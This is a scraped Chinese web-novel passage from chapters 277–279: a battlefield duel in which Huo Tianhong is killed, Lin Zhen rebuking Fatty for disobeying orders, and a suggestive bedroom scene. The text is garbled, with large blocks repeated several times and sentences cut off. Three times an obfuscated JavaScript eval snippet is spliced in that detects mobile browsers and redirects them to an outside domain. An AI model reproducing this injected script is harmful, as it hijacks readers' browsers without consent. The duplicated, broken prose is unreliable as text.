老大在中间对刀,其余两伙骑兵也交战在一起,双方都使出浑身解数想要打倒对方。 而神机营在一轮射击之后还没准备第二轮,就被对方骑兵冲散,他们有的战死,有的纷纷上马,开始与之斡旋。 不大的场地内杀喊声,惨叫声,战马的嘶鸣声不绝于耳。 一炷香的时间后,人越来越少,胖子一刀将霍天弘震开,牵着马缰后退几步喘息。 反观霍天弘也同样不好过。 因为胖子力气大的惊人,招式大开大合,每接一刀都需要卯足了力气,稍有不慎就会被一刀砍落下马,所以辛苦。 “北燕能出你这样的武将,还真是走了狗屎运!” “哼,老子用不着你来夸。” “胖爷没想夸你,只是想在你死前给你封个谥号。” “去你妈的,看刀!” 霍天弘再次举起大刀,殊不知就在此时,远处马蹄声震颤,王铁男那满脸怒火的脸赫然显现,大吼道。 “贼将!休动吾儿!” 时身后所有骑兵也一起冲刺!! 不,不能说一起,仅剩的几十个神机营将士纷纷拿出弩箭硬弓,连瞄都不瞄,抬手就射! 咻咻咻—— 霍天弘的骑兵还没反应过来,就看到无数箭矢朝自己射来,猝不及防之下被成片射倒。 “王胖子!!你忒的阴损!!” 胖子不与他废话,冲到近前,一刀砍向他的天灵盖。 霍天弘不愧是北燕名将,横起长刀奋力抵挡。 叮—— 火花四溅,两人被震开。 胖子惊讶道:“好小子,有两下子,再来!” “来就来!怕你不成!?”霍天弘同样不惧,两人在场中你来我往,刀光剑影,打得不亦乐乎。 老大在中间对刀,其余两伙骑兵也交战在一起,双方都使出浑身解数想要打倒对方。 而神机营在一轮射击之后还没准备第二轮,就被对方骑兵冲散,他们有的战死,有的纷纷上马,开始与之斡旋。 不大的场地内杀喊声,惨叫声,战马的嘶鸣声不绝于耳。 一炷香的时间后,人越来越少,胖子一刀将霍天弘震开,牵着马缰后退几步喘息。 反观霍天弘也同样不好过。 因为胖子力气大的惊人,招式大开大合,每接一刀都需要卯足了力气,稍有不慎就会被一刀砍落下马,所以辛苦。 “北燕能出你这样的武将,还真是走了狗屎运!” “哼,老子用不着你来夸。” “胖爷没想夸你,只是想在你死前给你封个谥号。” “去你妈的,看刀!” 霍天弘再次举起大刀,殊不知就在此时,远处马蹄声震颤,王铁男那满脸怒火的脸赫然显现,大吼道。 “贼将!休动吾儿!” 时身后所有骑兵也一起冲刺!! 不,不能说一起,仅剩的几十个神机营将士纷纷拿出弩箭硬弓,连瞄都不瞄,抬手就射! 咻咻咻—— 霍天弘的骑兵还没反应过来,就看到无数箭矢朝自己射来,猝不及防之下被成片射倒。 “王胖子!!你忒的阴损!!” 胖子不与他废话,冲到近前,一刀砍向他的天灵盖。 霍天弘不愧是北燕名将,横起长刀奋力抵挡。 叮—— 火花四溅,两人被震开。 胖子惊讶道:“好小子,有两下子,再来!” “来就来!怕你不成!?”霍天弘同样不惧,两人在场中你来我往,刀光剑影,打得不亦乐乎。 老大在中间对刀,其余两伙骑兵也交战在一起,双方都使出浑身解数想要打倒对方。 而神机营在一轮射击之后还没准备第二轮,就被对方骑兵冲散,他们有的战死,有的纷纷上马,开始与之斡旋。 不大的场地内杀喊声,惨叫声,战马的嘶鸣声不绝于耳。 一炷香的时间后,人越来越少,胖子一刀将霍天弘震开,牵着马缰后退几步喘息。 反观霍天弘也同样不好过。 因为胖子力气大的惊人,招式大开大合,每接一刀都需要卯足了力气,稍有不慎就会被一刀砍落下马,所以辛苦。 “北燕能出你这样的武将,还真是走了狗屎运!” “哼,老子用不着你来夸。” “胖爷没想夸你,只是想在你死前给你封个谥号。” “去你妈的,看刀!” 霍天弘再次举起大刀,殊不知就在此时,远处马蹄声震颤,王铁男那满脸怒火的脸赫然显现,大吼道。 “贼将!休动吾儿!” 时身后所有骑兵也一起冲刺!! 不,不能说一起,仅剩的几十个神机营将士纷纷拿出弩箭硬弓,连瞄都不瞄,抬手就射! 咻咻咻—— 霍天弘的骑兵还没反应过来,就看到无数箭矢朝自己射来,猝不及防之下被成片射倒。 “王胖子!!你忒的阴损!!” 胖子不与他废话,冲到近前,一刀砍向他的天灵盖。 霍天弘不愧是北燕名将,横起长刀奋力抵挡。 叮—— 火花四溅,两人被震开。 胖子惊讶道:“好小子,有两下子,再来!” “来就来!怕你不成!?”霍天弘同样不惧,两人在场中你来我往,刀光剑影,打得不亦乐乎。 老大在中间对刀,其余两伙骑兵也交战在一起,双方都使出浑身解数想要打倒对方。 而神机营在一轮射击之后还没准备第二轮,就被对方骑兵冲散,他们有的战死,有的纷纷上马,开始与之斡旋。 不大的场地内杀喊声,惨叫声,战马的嘶鸣声不绝于耳。 一炷香的时间后,人越来越少,胖子一刀将霍天弘震开,牵着马缰后退几步喘息。 反观霍天弘也同样不好过。 因为胖子力气大的惊人,招式大开大合,每接一刀都需要卯足了力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14971311|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,稍有不慎就会被一刀砍落下马,所以辛苦。 “北燕能出你这样的武将,还真是走了狗屎运!” “哼,老子用不着你来夸。” “胖爷没想夸你,只是想在你死前给你封个谥号。” “去你妈的,看刀!” 霍天弘再次举起大刀,殊不知就在此时,远处马蹄声震颤,王铁男那满脸怒火的脸赫然显现,大吼道。 “贼将!休动吾儿!” 时身后所有骑兵也一起冲刺!! 不,不能说一起,仅剩的几十个神机营将士纷纷拿出弩箭硬弓,连瞄都不瞄,抬手就射! 咻咻咻—— 霍天弘的骑兵还没反应过来,就看到无数箭矢朝自己射来,猝不及防之下被成片射倒。 “王胖子!!你忒的阴损!!” 胖子不与他废话,冲到近前,一刀砍向他的天灵盖。 霍天弘不愧是北燕名将,横起长刀奋力抵挡。 叮—— 火花四溅,两人被震开。 胖子惊讶道:“好小子,有两下子,再来!” “来就来!怕你不成!?”霍天弘同样不惧,两人在场中你来我往,刀光剑影,打得不亦乐乎。 老大在中间对刀,其余两伙骑兵也交战在一起,双方都使出浑身解数想要打倒对方。 而神机营在一轮射击之后还没准备第二轮,就被对方骑兵冲散,他们有的战死,有的纷纷上马,开始与之斡旋。 不大的场地内杀喊声,惨叫声,战马的嘶鸣声不绝于耳。 一炷香的时间后,人越来越少,胖子一刀将霍天弘震开,牵着马缰后退几步喘息。 反观霍天弘也同样不好过。 因为胖子力气大的惊人,招式大开大合,每接一刀都需要卯足了力气,稍有不慎就会被一刀砍落下马,所以辛苦。 “北燕能出你这样的武将,还真是走了狗屎运!” “哼,老子用不着你来夸。” “胖爷没想夸你,只是想在你死前给你封个谥号。” “去你妈的,看刀!” 霍天弘再次举起大刀,殊不知就在此时,远处马蹄声震颤,王铁男那满脸怒火的脸赫然显现,大吼道。 “贼将!休动吾儿!” 时身后所有骑兵也一起冲刺!! 不,不能说一起,仅剩的几十个神机营将士纷纷拿出弩箭硬弓,连瞄都不瞄,抬手就射! 咻咻咻—— 霍天弘的骑兵还没反应过来,就看到无数箭矢朝自己射来,猝不及防之下被成片射倒。 “王胖子!!你忒的阴损!!” 胖子不与他废话,冲到近前,一刀砍向他的天灵盖。 霍天弘不愧是北燕名将,横起长刀奋力抵挡。 叮—— 火花四溅,两人被震开。 胖子惊讶道:“好小子,有两下子,再来!” “来就来!怕你不成!?”霍天弘同样不惧,两人在场中你来我往,刀光剑影,打得不亦乐乎。 老大在中间对刀,其余两伙骑兵也交战在一起,双方都使出浑身解数想要打倒对方。 而神机营在一轮射击之后还没准备第二轮,就被对方骑兵冲散,他们有的战死,有的纷纷上马,开始与之斡旋。 不大的场地内杀喊声,惨叫声,战马的嘶鸣声不绝于耳。 一炷香的时间后,人越来越少,胖子一刀将霍天弘震开,牵着马缰后退几步喘息。 反观霍天弘也同样不好过。 因为胖子力气大的惊人,招式大开大合,每接一刀都需要卯足了力气,稍有不慎就会被一刀砍落下马,所以辛苦。 “北燕能出你这样的武将,还真是走了狗屎运!” “哼,老子用不着你来夸。” “胖爷没想夸你,只是想在你死前给你封个谥号。” “去你妈的,看刀!” 霍天弘再次举起大刀,殊不知就在此时,远处马蹄声震颤,王铁男那满脸怒火的脸赫然显现,大吼道。 “贼将!休动吾儿!” 时身后所有骑兵也一起冲刺!! 不,不能说一起,仅剩的几十个神机营将士纷纷拿出弩箭硬弓,连瞄都不瞄,抬手就射! 咻咻咻—— 霍天弘的骑兵还没反应过来,就看到无数箭矢朝自己射来,猝不及防之下被成片射倒。 “王胖子!!你忒的阴损!!” 胖子不与他废话,冲到近前,一刀砍向他的天灵盖。 霍天弘不愧是北燕名将,横起长刀奋力抵挡。 叮—— 火花四溅,两人被震开。 胖子惊讶道:“好小子,有两下子,再来!” “来就来!怕你不成!?”霍天弘同样不惧,两人在场中你来我往,刀光剑影,打得不亦乐乎。 老大在中间对刀,其余两伙骑兵也交战在一起,双方都使出浑身解数想要打倒对方。 而神机营在一轮射击之后还没准备第二轮,就被对方骑兵冲散,他们有的战死,有的纷纷上马,开始与之斡旋。 不大的场地内杀喊声,惨叫声,战马的嘶鸣声不绝于耳。 一炷香的时间后,人越来越少,胖子一刀将霍天弘震开,牵着马缰后退几步喘息。 反观霍天弘也同样不好过。 因为胖子力气大的惊人,招式大开大合,每接一刀都需要卯足了力气,稍有不慎就会被一刀砍落下马,所以辛苦。 “北燕能出你这样的武将,还真是走了狗屎运!” “哼,老子用不着你来夸。” “胖爷没想夸你,只是想在你死前给你封个谥号。” “去你妈的,看刀!” 霍天弘再次举起大刀,殊不知就在此时,远处马蹄声震颤,王铁男那满脸怒火的脸赫然显现,大吼道。 “贼将!休动吾儿!” 第278章 我草婶婶! “卧槽!爹!??”胖子与霍天弘拉开距离,难以置信盯着他身后瞪大双眼。 只见王铁男的虎头战甲在远处火光中逐渐闪现,如同在黑暗里绽放破晓的晨光那般耀眼,带着不可一世的霸气。 到底是自己亲爹啊,有事真上啊!!! 胖子一时间感动得稀里哗啦。 而霍天弘显然也听说过乾国天蓬将军的威名,不敢大意,回过身严阵以待的看着他迅速靠近,最后扬起长刀,劈砍而去! 他决定要先发制人,试试这王铁男的深浅! 却见王铁男面露冷笑,手中巨大的流星锤在这一刻变成了长刀的克星。 “喝!!” 一声断喝,流星锤被他挥舞出去,数百斤的力道重重砸在刀刃上。 砰—— 叮—— 刀刃瞬间被砸断。 “什么!??”霍天弘都不敢相信自己的眼睛。 而这时,胖子看准时机,扬起刀正中他的后脖颈! “纳命来!!” 噗—— 人头落地,鲜血喷涌而出,身体直挺挺倒了下去。 北燕名将霍天弘,就此陨落。 “噗通.” “哈哈哈哈!”胖子也没想到效果这么好,摸了摸没有胡子的胖下巴,“卧槽,爹!你什么时候来的!?” 王铁男冷脸问道:“你说什么?” “爹啊!” “那面那句呢?” “卧槽?” “怎么?你连你爹都不放过?” 王铁男最不喜欢儿子这么说话,从小就教育,不管是教导还是棍棒,但胖子就是死性不改。 前些天勋国公老婆,一品诰命芦夫人去他家做客,胖子张嘴就说道:“我草婶婶!” 当时芦夫人那个脸色啊 胖子还没意识到自己口误,低声解释:“爹,你要是这么想的话,多少有点低俗了吧?” 王铁男看他这副德行就气不打一处来。 “闭嘴!没用的东西。战场抗命,导致将士折损,你以为世子会轻易饶恕你吗?还舔着脸笑!” “嗐,我大哥还能宰了我不成?” “放肆!要人人都是你这个想法,军队还不乱套了?” “啊是是是~” 胖子浑不在意的摆摆手,可见王铁男刚才的话又白说了。 “爹,是我大哥派你来救我的吗?” “废话,世子早在派我来救你之前.”王铁男的话说 到一半戛然而止,随即突然想到什么,一拍大腿:“哎呦卧槽!世子派来的那批人呢!? 胖子砸吧砸吧嘴:“你也不这么说话嘛,非教育我 “滚蛋,小王八犊子,你还敢找你老子的茬!?言罢王铁男看了看大火冲天的军营,大惊失色:“坏了,他们该不会还在里面呢吗?快快快,再冲回去! “爹,还冲啊?再冲一次这点兵力就全没了! “你知道什么?顾云松都被老子干死了,现在军营里一片混乱,不冲更待何时?驾!王铁男一溜烟就跑了出去,胖子在身后大喊。 “什么?爹,你把顾二鳖弄死了? “呵,那傻子站在瞭望塔上骂我,不杀他杀谁?少废话,跟我回去救人!!快! “是!胖子高举长刀,大喊道:“全体都有,随胖爷冲啊!! “杀!! 林臻先派出去救胖子的千余骑兵被阻拦在了军营中间的北大门,也就是胖子夜袭突进的地方。 顾云松为了避免胖子再从这个方向逃跑,派了重兵把守,谁知道竟把来救援的骑兵阻拦在外面。 王铁男与胖子杀回来的时候,就看到这里乱成一团,于是他们从身后攻击,大破守军,冲出北大门,带领所有部队返回代县。 众人回代县的时候已经是上午了。 林臻一夜没睡,眼睛熬得像个红眼耗子似的,连精神都有些萎靡不振。 这一幕可浣碧心疼坏了,泪眼巴扎的伺候他吃早饭,时不时的还埋怨道:“世子,劫营这样的事情胖爷他们去就可以了,您又何苦在这干等呢 浣碧是第一次来战场,自然不懂林臻的心情,但他也不好责怪,只是低下头,用头碰了碰她的小脑袋,有点像蚂蚁交流似的。 “别胡说,把肉给我放前放放,怕我吃还是怎么? “才不是呢,您若想吃,回去了碧儿顿顿都给您做。 餐桌前,浣碧把荤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976669|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 菜往前放放,然后又蹲下身给林臻捶腿,力道不轻不重,刚好可以放松。 林臻早已习惯了这种地主老财的生活,只可惜浣碧喜欢穿高领子的长裙,把脖子保护得很完美,从上往下看去,竟什么也看不到。 虽说早已经有了肌肤之亲,但美景依旧不能错过嘛。 就这一点上,还是晴雯好,那妮子在家里的时候总是把领口扯得很大,举手投足间充满诱惑,加之她身材一绝,顺着领口看去能看到饱满的雪脯,从下往上看便能欣赏两座圣峰。 有如 此美人伺候,就连吃饭也变成了一股享受,怒火也消去大半。 侯春站在不起眼的地方,眼观鼻鼻观口,不敢往这边多瞟一眼。 “报!!” 探马急匆匆跑进正堂,单膝跪地,对正在吃饭的林臻说道。 “启禀大帅,最新消息,顾云松、朱世坤和北燕大将军霍天弘已全部死亡,现在敌军军营乱成一团,有的人疯了似的奔向城池请求接受投降,有的人则为了军营的指挥权而打了起来。北燕的士兵已经被他们副将袁华带走,准备返回北燕。” 啊?顾云松和朱世坤死了? 从北燕来的霍天弘也死了? 这是发生什么了? 林臻问道:“他们怎么死的?” “回大帅,据前方汇报,朱世坤是被王蓬一刀砍死,顾云松是被王将军砸断了瞭望塔摔死的,霍天弘是被他们两人夹击,人头落地。” 嘶. 林臻倒吸一口凉气。 这还没开始攻城呢,对方主帅和两员大将就被干死了。 这.这战斗力也太弱了吧?就这两下子还敢来进攻大乾? “知道了,胖子和王将军呢?” “他们已经进城,正在来县衙的路上。” “唔,退下吧。” “是。” 探马起身跑了出去,林臻不经意间抬头,就看到一只大耳朵若隐若现地躲在门板外面。 不用想,肯定是胖子,也就他不知道眼睛旁边还有个耳朵,趴在门板外面偷看。 林臻顿时觉得有些好笑,但此刻却说什么也笑不出来,只放下筷子喊道:“王胖子,你给我滚进来!” 第279章 夫君是信不过碧儿吗? 胖子一只脚踏进门槛,嘿嘿嘿地憨笑着,整个人看起来十分喜庆。 但林臻怒火中烧,岂会因他笑两声便不惩罚了? “混账!战场抗命,导致将士阵亡,王胖子,你该当何罪!” “我”胖子委屈地砸吧砸吧嘴,“啧,可是大哥.” “叫大帅!” “是!!大帅!!但胖爷好歹斩了霍天弘和朱世坤,间接打赢了战争,也是有功嘛。” “你少给我强词夺理,战场抗命就是死罪!你还不认?” “认认认只要你承认胖爷有功,胖爷就承认有罪。” 胖子知道林臻不可能杀他,既然不伤及性命,那该处分就处分呗,大不了就是一顿军棍。 反正胖爷皮糙肉厚不怕疼。 林臻就猜到他打算用滚刀肉这一招,狞笑着说道:“你别以为挨顿军棍就结束了,不可能!现在我命你带领没出战的骑兵以及那群纨绔,立刻追杀北燕副将袁华!不能让他们跑回北燕!” 林臻神色一凛:“记住了,一旦发生冲突,先让纨绔们上,谁不上,你就砍了谁!” “啊?”胖子闻言当即就笑了,“哈哈哈哈,大哥,你这哪是惩罚我啊?这不是送我功劳呢嘛?” “臭得意什么?惩罚还没开始呢,这次你要是办得好,我就对你惩罚轻一点,你若是敢放跑一个,就罚你一年不许近女色!不仅如此,阵亡将士的骨灰也由你亲自送回故乡!” 胖子当时就傻了。 后面的要求还可以答应,他们因为自己而死,送他们的骨灰回故乡也是应该的。 但一年不许近女色,这不是要他的命吗? “大哥,什么惩罚我都接受,但一年不许和女人亲热,你干脆杀了我好了!” 这时候王铁男走了进来,听到自己儿子说这样的话,险些一头栽倒! 和主帅讨价还价也就算了,还偏偏在女人这种事情上,真是脸上无光啊! 我王铁男一生英明怎么就教育出这么个儿子! 他三步并两步地走过来,一脚就踢在他膝盖上! 噗通—— “哎呦!” “小王八蛋!瞧你那点出息!你以为你还是十七八岁的少男,没有女人活不下去了?” 胖子揉着膝盖,嘟着嘴巴像挨了打的小媳妇似的:“爹,你不帮我说话就算了,怎么还踢我啊。” “帮你?亏你说得出来!二十好几岁的人居然敢战场抗命,不杀你已经是大帅天大的恩典,现在略施小惩你就字 字扭扭地推脱不愿意,以后别说是我儿子!” “行行行,我保证不让北燕一个人跑掉!这就去追!” 胖子无奈地转身,走着走着就开始小跑起来,估计是想到了惩罚。 林臻余怒未消。 说实话,他是真有点下不去手,不过这件事情也算因祸得福。 阴差阳错下胖子竟然靠一只骑兵就把顾家的军营杀了个对穿,王铁男又出手斩掉顾云松。 这仗,竟然就这么打完了。 不过话又说回来,功是功,过是过。 对胖子和王铁男的奖赏是不会少的,同时,对胖子的惩罚也绝不会心慈手软。 这事儿,林臻还得好好琢磨琢磨。 究竟什么样的惩罚才能让胖子感觉到难受的同时,还不伤兄弟感情呢? 嘶.林臻突然想到什么,嘿嘿嘿嘿的笑了起来。 “嘿嘿嘿嘿~”林臻挥挥手,示意王铁男坐下来,“王叔,您坐。” 王铁男已经不是昨天那个为儿子怒发冲冠的父亲,而是个甘心听命于林臻的大将,他低下头叹了口气。 “唉,大帅,属下教子无方,出了这样的事情实在是没脸好坐。” “王叔不必如此,胖子的性格我是知道的,出了这样的事情也不意外,只是对他的惩罚万万不能撤销,还希望王叔回去后,多盯着他一些。” “大帅放心,属下绝不会因为他是我儿子,就心软懈怠。” “唔,王叔,我正好要问你一个事情,二卫的指挥权什么时候在你手里的?” 这是林臻最好奇的事情。 如果早知道二卫在王铁男手里,他也不会如此被动地派出三大营来防守代县,也或许很多事情都可以更巧妙地解决。 王铁男说道:“其实王爷早年间就将二卫的虎符分给了我一半,命令我暗中统领,以备不时之需。” 难怪。 “唔,那接下来如果应战?王叔有何看法?” “现在顾云松、朱世坤,霍天弘都已经死了,敌军群龙无首,正是收编的好时候。” “你的意思是?大军压上?逼迫他们投降?” “对,末将回来的时候已经看到有很多顾家的士兵在往我们城池跑,估计现在城门口已经堆满了人,大帅可以派人先去缴械收编,至于在军营里打架的那些,末将带领大军压上去,不日便可破敌。这场闹剧,也就结束了。” “呼,很好,就这么办吧。”林臻伸了个懒腰,“哎呀!!我终于可以睡觉了 。” 且不说王铁男如何对付顾家仅存的士兵,胖子如何追赶北燕穷寇。打打杀杀的没什么意思,不如看看林臻是怎么睡觉的。 浣碧搀扶着林臻,两人回到卧房。 作为林臻的心里人,浣碧是最了解林臻的人,也知道他最近很是疲惫,需要好好的睡上一觉。 于是她一路无话,紧忙伺候着林臻躺在床榻上。 一双细腻柔软的小手帮林臻脱去鞋子,放在床尾摆好,回眸时望到他那张因疲惫而紧缩的眉头,心里有些不忍。 忽然想起晴雯以前说过如果让夫君放松的方式 要不要试试呢? “夫君,您一定很累吧?” 林臻闭着眼睛,心里没什么特别的想法,只是淡淡点头:“嗯。” “那妾身给您放松放松。” 这不是问句,而是肯定句。 浣碧决定今天要当一次晴雯,好好伺候这个为国征战,劳累不堪的夫君。 于是她开始给林臻宽衣解带,也不管是否白天,很快便将林臻脱了个精光。 到现在林臻也没多想,因为浣碧就不是那个性子,全当是脱了衣服能睡个好觉,直到浣碧双手捏住自己裤头的时候,他才猛然抬起头。 “碧儿,你这是干什么?” 刚才没看到,现在抬起头才发现浣碧的脸已经红成一个大苹果了,一双杏眼水汪汪的,充满着羞涩与妩媚风情望向林臻:“妾身,帮您放松下身心。” “不必了吧.” “晴雯说,这样夫君可以睡个好觉。” 是.是能睡个好觉。 男人都知道嘛,那个什么之后,睡觉真的很香甜。 但是,浣碧真的会吗?别到时候弄不出来还怪难受的。 “碧儿,我们好好躺一会儿吧,不用那么辛苦。” “夫君是信不过碧儿吗?” “额倒也不是唔!!”温热的感觉说来就来,林臻闭上了眼睛。 。” 且不说王铁男如何对付顾家仅存的士兵,胖子如何追赶北燕穷寇。打打杀杀的没什么意思,不如看看林臻是怎么睡觉的。 浣碧搀扶着林臻,两人回到卧房。 作为林臻的心里人,浣碧是最了解林臻的人,也知道他最近很是疲惫,需要好好的睡上一觉。 于是她一路无话,紧忙伺候着林臻躺在床榻上。 一双细腻柔软的小手帮林臻脱去鞋子,放在床尾摆好,回眸时望到他那张因疲惫而紧缩的眉头,心里有些不忍。 忽然想起晴雯以前说过如果让夫君放松的方式 要不要试试呢? “夫君,您一定很累吧?” 林臻闭着眼睛,心里没什么特别的想法,只是淡淡点头:“嗯。” “那妾身给您放松放松。” 这不是问句,而是肯定句。 浣碧决定今天要当一次晴雯,好好伺候这个为国征战,劳累不堪的夫君。 于是她开始给林臻宽衣解带,也不管是否白天,很快便将林臻脱了个精光。 到现在林臻也没多想,因为浣碧就不是那个性子,全当是脱了衣服能睡个好觉,直到浣碧双手捏住自己裤头的时候,他才猛然抬起头。 “碧儿,你这是干什么?” 刚才没看到,现在抬起头才发现浣碧的脸已经红成一个大苹果了,一双杏眼水汪汪的,充满着羞涩与妩媚风情望向林臻:“妾身,帮您放松下身心。” “不必了吧.” “晴雯说,这样夫君可以睡个好觉。” 是.是能睡个好觉。 男人都知道嘛,那个什么之后,睡觉真的很香甜。 但是,浣碧真的会吗?别到时候弄不出来还怪难受的。 “碧儿,我们好好躺一会儿吧,不用那么辛苦。” “夫君是信不过碧儿吗?” “额倒也不是唔!!”温热的感觉说来就来,林臻闭上了眼睛。 。” 且不说王铁男如何对付顾家仅存的士兵,胖子如何追赶北燕穷寇。打打杀杀的没什么意思,不如看看林臻是怎么睡觉的。 浣碧搀扶着林臻,两人回到卧房。 作为林臻的心里人,浣碧是最了解林臻的人,也知道他最近很是疲惫,需要好好的睡上一觉。 于是她一路无话,紧忙伺候着林臻躺在床榻上。 一双细腻柔软的小手帮林臻脱去鞋子,放在床尾摆好,回眸时望到他那张因疲惫而紧缩的眉头,心里有些不忍。 忽然想起晴雯以前说过如果让夫君放松的方式 要不要试试呢? “夫君,您一定很累吧?” 林臻闭着眼睛,心里没什么特别的想法,只是淡淡点头:“嗯。” “那妾身给您放松放松。” 这不是问句,而是肯定句。 浣碧决定今天要当一次晴雯,好好伺候这个为国征战,劳累不堪的夫君。 于是她开始给林臻宽衣解带,也不管是否白天,很快便将林臻脱了个精光。 到现在林臻也没多想,因为浣碧就不是那个性子,全当是脱了衣服能睡个好觉,直到浣碧双手捏住自己裤头的时候,他才猛然抬起头。 “碧儿,你这是干什么?” 刚才没看到,现在抬起头才发现浣碧的脸已经红成一个大苹果了,一双杏眼水汪汪的,充满着羞涩与妩媚风情望向林臻:“妾身,帮您放松下身心。” “不必了吧.” “晴雯说,这样夫君可以睡个好觉。” 是.是能睡个好觉。 男人都知道嘛,那个什么之后,睡觉真的很香甜。 但是,浣碧真的会吗?别到时候弄不出来还怪难受的。 “碧儿,我们好好躺一会儿吧,不用那么辛苦。” “夫君是信不过碧儿吗?” “额倒也不是唔!!”温热的感觉说来就来,林臻闭上了眼睛。 。” 且不说王铁男如何对付顾家仅存的士兵,胖子如何追赶北燕穷寇。打打杀杀的没什么意思,不如看看林臻是怎么睡觉的。 浣碧搀扶着林臻,两人回到卧房。 作为林臻的心里人,浣碧是最了解林臻的人,也知道他最近很是疲惫,需要好好的睡上一觉。 于是她一路无话,紧忙伺候着林臻躺在床榻上。 一双细腻柔软的小手帮林臻脱去鞋子,放在床尾摆好,回眸时望到他那张因疲惫而紧缩的眉头,心里有些不忍。 忽然想起晴雯以前说过如果让夫君放松的方式 要不要试试呢? “夫君,您一定很累吧?” 林臻闭着眼睛,心里没什么特别的想法,只是淡淡点头:“嗯。” “那妾身给您放松放松。” 这不是问句,而是肯定句。 浣碧决定今天要当一次晴雯,好好伺候这个为国征战,劳累不堪的夫君。 于是她开始给林臻宽衣解带,也不管是否白天,很快便将林臻脱了个精光。 到现在林臻也没多想,因为浣碧就不是那个性子,全当是脱了衣服能睡个好觉,直到浣碧双手捏住自己裤头的时候,他才猛然抬起头。 “碧儿,你这是干什么?” 刚才没看到,现在抬起头才发现浣碧的脸已经红成一个大苹果了,一双杏眼水汪汪的,充满着羞涩与妩媚风情望向林臻:“妾身,帮您放松下身心。” “不必了吧.” “晴雯说,这样夫君可以睡个好觉。” 是.是能睡个好觉。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14976670|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 男人都知道嘛,那个什么之后,睡觉真的很香甜。 但是,浣碧真的会吗?别到时候弄不出来还怪难受的。 “碧儿,我们好好躺一会儿吧,不用那么辛苦。” “夫君是信不过碧儿吗?” “额倒也不是唔!!”温热的感觉说来就来,林臻闭上了眼睛。 。” 且不说王铁男如何对付顾家仅存的士兵,胖子如何追赶北燕穷寇。打打杀杀的没什么意思,不如看看林臻是怎么睡觉的。 浣碧搀扶着林臻,两人回到卧房。 作为林臻的心里人,浣碧是最了解林臻的人,也知道他最近很是疲惫,需要好好的睡上一觉。 于是她一路无话,紧忙伺候着林臻躺在床榻上。 一双细腻柔软的小手帮林臻脱去鞋子,放在床尾摆好,回眸时望到他那张因疲惫而紧缩的眉头,心里有些不忍。 忽然想起晴雯以前说过如果让夫君放松的方式 要不要试试呢? “夫君,您一定很累吧?” 林臻闭着眼睛,心里没什么特别的想法,只是淡淡点头:“嗯。” “那妾身给您放松放松。” 这不是问句,而是肯定句。 浣碧决定今天要当一次晴雯,好好伺候这个为国征战,劳累不堪的夫君。 于是她开始给林臻宽衣解带,也不管是否白天,很快便将林臻脱了个精光。 到现在林臻也没多想,因为浣碧就不是那个性子,全当是脱了衣服能睡个好觉,直到浣碧双手捏住自己裤头的时候,他才猛然抬起头。 “碧儿,你这是干什么?” 刚才没看到,现在抬起头才发现浣碧的脸已经红成一个大苹果了,一双杏眼水汪汪的,充满着羞涩与妩媚风情望向林臻:“妾身,帮您放松下身心。” “不必了吧.” “晴雯说,这样夫君可以睡个好觉。” 是.是能睡个好觉。 男人都知道嘛,那个什么之后,睡觉真的很香甜。 但是,浣碧真的会吗?别到时候弄不出来还怪难受的。 “碧儿,我们好好躺一会儿吧,不用那么辛苦。” “夫君是信不过碧儿吗?” “额倒也不是唔!!”温热的感觉说来就来,林臻闭上了眼睛。 。” 且不说王铁男如何对付顾家仅存的士兵,胖子如何追赶北燕穷寇。打打杀杀的没什么意思,不如看看林臻是怎么睡觉的。 浣碧搀扶着林臻,两人回到卧房。 作为林臻的心里人,浣碧是最了解林臻的人,也知道他最近很是疲惫,需要好好的睡上一觉。 于是她一路无话,紧忙伺候着林臻躺在床榻上。 一双细腻柔软的小手帮林臻脱去鞋子,放在床尾摆好,回眸时望到他那张因疲惫而紧缩的眉头,心里有些不忍。 忽然想起晴雯以前说过如果让夫君放松的方式 要不要试试呢? “夫君,您一定很累吧?” 林臻闭着眼睛,心里没什么特别的想法,只是淡淡点头:“嗯。” “那妾身给您放松放松。” 这不是问句,而是肯定句。 浣碧决定今天要当一次晴雯,好好伺候这个为国征战,劳累不堪的夫君。 于是她开始给林臻宽衣解带,也不管是否白天,很快便将林臻脱了个精光。 到现在林臻也没多想,因为浣碧就不是那个性子,全当是脱了衣服能睡个好觉,直到浣碧双手捏住自己裤头的时候,他才猛然抬起头。 “碧儿,你这是干什么?” 刚才没看到,现在抬起头才发现浣碧的脸已经红成一个大苹果了,一双杏眼水汪汪的,充满着羞涩与妩媚风情望向林臻:“妾身,帮您放松下身心。” “不必了吧.” “晴雯说,这样夫君可以睡个好觉。” 是.是能睡个好觉。 